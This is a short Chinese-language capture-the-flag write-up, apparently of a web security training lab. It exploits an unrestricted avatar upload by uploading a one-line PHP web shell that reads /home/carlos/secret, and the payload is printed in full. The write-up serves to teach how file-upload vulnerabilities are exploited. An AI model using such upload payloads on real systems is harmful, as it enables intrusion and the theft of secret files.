通过webshell上传进行远程代码执行

题目

image-20261013143739900

开始打靶

首先我们利用题目提供的账号凭据登录账号

image-20261013144112007

我们发现这里账户有一个可以上传头像的功能,我们首先尝试上传一张正常的图片去访问

image-20261013150844903

右键上传的图片检查可以在源代码中看到图片上传的路径

image-20261013150932829

我们现在构造php代码,尝试上传后去读取/home/carlos/secret文件的内容

<?php echo file_get_contents("/home/carlos/secret");?>

image-20261013151152523

将获取到的内容提交

image-20261013151223979